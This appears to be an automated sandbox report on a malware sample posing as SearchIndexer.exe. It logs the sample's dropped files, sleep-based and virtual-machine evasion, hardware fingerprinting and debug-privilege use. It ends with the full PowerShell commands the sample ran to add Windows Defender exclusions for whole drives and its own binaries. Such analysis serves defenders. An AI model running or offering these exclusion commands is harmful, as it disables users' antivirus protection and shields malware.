                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\OtzUWFWF.logJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeDropped PE file which has not been started: C:\Users\user\Desktop\cqPBhmEa.logJump to dropped file
                              Source: C:\Users\user\Desktop\SearchIndexer.exeDropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXEJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe TID: 2520Thread sleep time: -922337203685477s >= -30000sJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8144Thread sleep count: 1440 > 30Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9096Thread sleep time: -922337203685477s >= -30000sJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8916Thread sleep time: -922337203685477s >= -30000sJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8288Thread sleep count: 1483 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9152Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8880Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7188Thread sleep count: 3459 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9156Thread sleep time: -14757395258967632s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8320Thread sleep count: 76 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8892Thread sleep time: -1844674407370954s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8336Thread sleep count: 1350 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9128Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8908Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep count: 1131 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9148Thread sleep time: -11068046444225724s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8872Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8340Thread sleep count: 1213 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9044Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8676Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8416Thread sleep count: 1234 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9144Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8848Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8456Thread sleep count: 1561 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9124Thread sleep time: -13835058055282155s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8832Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8440Thread sleep count: 1254 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9064Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8856Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8448Thread sleep count: 1228 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9104Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8900Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8444Thread sleep count: 1334 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9072Thread sleep time: -14757395258967632s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8824Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8464Thread sleep count: 1401 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9048Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808Thread sleep time: -1844674407370954s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8460Thread sleep count: 1331 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9088Thread sleep time: -11990383647911201s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8816Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8420Thread sleep count: 1201 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9160Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8492Thread sleep count: 1440 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9164Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8864Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8556Thread sleep count: 1320 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9132Thread sleep time: -8301034833169293s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8684Thread sleep time: -1844674407370954s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8568Thread sleep count: 1086 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9052Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8792Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8388Thread sleep count: 1949 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9136Thread sleep time: -1844674407370954s >= -30000s
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8936Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 3452Thread sleep time: -30000s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 2256Thread sleep time: -29514790517935264s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 2256Thread sleep time: -600000s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 2256Thread sleep time: -45000s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 8664Thread sleep time: -10800000s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 2476Thread sleep time: -30000s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 8664Thread sleep time: -300000s >= -30000s
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe TID: 1720Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe TID: 3616Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe TID: 1404Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\svchost.exe TID: 3916Thread sleep time: -30000s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 7032Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe TID: 2944Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe TID: 1848Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe TID: 6156Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe TID: 6668Thread sleep time: -922337203685477s >= -30000s
                              Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeLast function: Thread delayed
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile Volume queried: C:\ FullSizeInformation
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 30000
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 600000
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 3600000
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 300000
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeThread delayed: delay time: 922337203685477
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeThread delayed: delay time: 922337203685477
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Config\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\Jump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Jump to behavior
                              Source: SearchIndexer.exe, 00000001.00000002.2465672330.000000001C081000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_
                              Source: w32tm.exe, 0000002E.00000002.1945805528.0000015A56597000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2
                              Source: SearchIndexer.exe, 00000001.00000002.2465672330.000000001C081000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\Y1}0
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information queried: ProcessInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeProcess token adjusted: Debug
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeMemory allocated: page read and write | page guardJump to behavior

                              HIPS / PFW / Operating System Protection Evasion

                              barindex
                              Adds a directory exclusion to Windows Defender
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\SearchIndexer.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe'
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe'
